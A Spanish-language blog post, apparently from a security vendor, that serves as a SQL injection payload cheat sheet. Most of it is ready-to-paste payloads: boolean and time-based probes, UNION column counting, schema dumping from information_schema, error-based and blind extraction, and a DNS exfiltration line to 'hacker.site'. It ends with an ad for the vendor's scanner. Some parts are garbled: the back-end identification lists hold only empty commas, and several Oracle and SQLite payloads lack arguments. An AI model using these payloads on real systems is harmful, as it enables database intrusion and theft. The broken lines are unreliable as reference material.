Cargas útiles de inyección SQL: Cómo funcionan los exploits SQLi

¿Qué es una carga útil de inyección SQL?

La inyección SQL representa una vulnerabilidad de seguridad web que permite a los atacantes ver datos que no deberían poder, al permitir que el atacante interfiera con las consultas que una aplicación realiza a su base de datos inyectando cargas útiles de inyección SQL maliciosas.

Obtenga más información sobre los ataques de inyección SQL en esta publicación de blog: Qué son las inyecciones SQL y Cómo Se pueden Prevenir

En esta publicación de blog, cubriremos cómo verificar si un sitio web es vulnerable a SQLi y a las diferentes cargas útiles de inyección SQL utilizadas para explotar diferentes tipos de vulnerabilidades de inyección SQL.

En este artículo:

Confirmando SQLi: Detección de punto de entrada

Para identificar si sus aplicaciones son vulnerables a SQLi y puede usar las cargas útiles que siguen, primero debe poder inyectar datos en la consulta sin romperlos. El primer paso es descubrir cómo escapar del contexto actual.

Pruebe uno de estos ejemplos útiles:


'
"
`
')
")
`)
'))
"))
`))

Para corregir la consulta, puede ingresar datos para que la consulta anterior acepte los nuevos datos, o puede ingresar datos y agregar un símbolo de comentario al final.

Esta fase será más fácil si puede ver mensajes de error o identificar si /cuándo una consulta está funcionando o no.

MySQL
#comment
-- comment
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments

Confirmación de SQLi mediante operaciones lógicas

Puede confirmar una vulnerabilidad de inyección SQL realizando una operación lógica. Si obtiene el resultado esperado, confirma SQLi.

Así es como se ve en la práctica:

Si el parámetro GET ?username=John devuelve el mismo contenido que ?username=John' o '1'='1, entonces encontró una vulnerabilidad de inyección SQL.

Este concepto también funciona para operaciones matemáticas:

Si ?id=1 devuelve lo mismo que ?id=2-1, encontró una vulnerabilidad de inyección SQL.

page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false

Confirmación de inyección SQL con sincronización

En algunos casos, al intentar confirmar un SQLi, no habrá un cambio notable en la página que está probando. Esto indica un SQL ciego, que se puede identificar haciendo que la base de datos realice acciones que tendrán un impacto en el tiempo que la página necesita para cargarse.

Vamos a agregar a la consulta SQL una operación que tardará más tiempo en ejecutarse, como realizar lo siguiente:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND =DBMS_PIPE.RECEIVE_MESSAGE('',)
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND =LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Las funciones de suspensión no siempre están permitidas, por lo que realizar una consulta realiza operaciones complejas que tardarán varios segundos en su lugar.

Identificar el Back-end

Diferentes backends tienen diferentes funciones, que se pueden identificar ejecutando esas funciones. Ejemplos de estas funciones son:

MySQL
,
,
,

MSSQL
,
,
,
,
,

Oracle
,
,
,

PostgreSQL
,
,
,
,
,
,

SQLite
,
,
,

MS Access
,
,
,
,
,

Unión Basada en la Inyección de SQL Cargas

Detección de número de columnas

Ambas consultas (la original y la que nos alter) debe devolver el mismo número de columnas. Pero, ¿cómo sabemos el número de columnas que devuelve la solicitud inicial? Por lo general, usamos uno de los dos métodos siguientes para obtener el número de columnas:

Ordenar / Agrupar por

Aunque GROUP BY y ORDER BY tienen diferentes funcionalidades en SQL, ambas se pueden usar para determinar el número de columnas en la consulta. Incrementa el número hasta que obtengas una respuesta falsa:

1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True

1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True

UNION SELECT

En el caso de UNION SELECT, inserte un número creciente de valores nulos hasta que la consulta sea válida:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

¿Por qué se usan valores nulos? Hay casos en los que el tipo de las columnas a ambos lados de la consulta tiene que ser el mismo. Null es válido en todos los casos.

Extraer nombres de bases de datos, tablas y nombres de columnas

En los siguientes ejemplos, vamos a recuperar el nombre de todas las bases de datos, los nombres de tabla de una base de datos y los nombres de columna de la tabla:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=

El método utilizado para descubrir estos datos variará de la base de datos en sí, pero siempre es la misma metodología.

Cargas útiles de inyección SQL basadas en errores

Si el resultado de la consulta no es visible, pero puede ver los mensajes de error, puede hacer que estos mensajes de error funcionen para extraer los datos de la base de datos.

Similar al ejemplo de explotación basada en la unión, puede volcar la base de datos:

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Cargas útiles de inyecciones SQL ciegas

En el caso de la inyección SQL ciega, no puede ver los resultados de la consulta ni los errores, pero puede distinguir cuándo la consulta devolvió una respuesta verdadera o falsa en función del contenido diferente de la página.

Puede abusar de ese comportamiento para volcar el carácter de base de datos por carácter:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Cargas útiles de inyección SQL ciega de error

Como su nombre indica, esto es muy similar a la inyección SQL ciega, pero esta vez no tiene que distinguir entre una respuesta verdadera o falsa. Compruebe si hay un error en la consulta SQL o no, forzando un error SQL cada vez que adivine correctamente el carácter:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Cargas útiles de inyección SQL basadas en el tiempo

Puede usar esta técnica principalmente cuando está a punto de explotar vulnerabilidades ciegas en las que utiliza una segunda consulta para desencadenar una búsqueda de DNS, un error condicional o un retraso de tiempo.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Consultas apiladas

Las consultas apiladas se pueden usar para ejecutar varias consultas en sucesión. Mientras se ejecutan las consultas posteriores, los resultados no se devuelven a la aplicación. Puede usar esta técnica cuando oculta vulnerabilidades en las que utiliza una segunda consulta para desencadenar una búsqueda de DNS, un error condicional o un retraso de tiempo.

Mientras que Oracle y MySQL no admiten consultas apiladas, Microsoft y PostgreSQL sí las admiten: QUERY-1-HERE; QUERY-2-HERE

Cargas útiles SQLi fuera de banda

Si ninguno de los métodos de explotación mencionados anteriormente funcionó para usted, puede intentar que la base de datos filtre los datos a un host externo controlado por usted. Por ejemplo, puede usar consultas DNS:

select load_file(concat('\\',version(),'.hacker.site\a.txt'));

Detecte la inyección SQL con la ayuda de Nexploit

Nexploit de NeuraLegion automatiza la detección y corrección de cientos de vulnerabilidades, incluida la inyección SQL.

Al integrar los escaneos DAST en las primeras etapas del proceso de desarrollo, los desarrolladores y los expertos en seguridad de aplicaciones pueden detectar vulnerabilidades de forma temprana y corregirlas antes de que aparezcan en producción.

Con Nexploit, las exploraciones se realizan en minutos y los resultados vienen con cero falsos positivos. Esto permite a los desarrolladores adoptar la solución y usarla durante todo el ciclo de vida del desarrollo.

Escanee cualquier aplicación web o API para evitar vulnerabilidades de inyección SQL: pruebe NeuraLegion Nexploit gratis.

Leave a Reply

Tu dirección de correo electrónico no será publicada.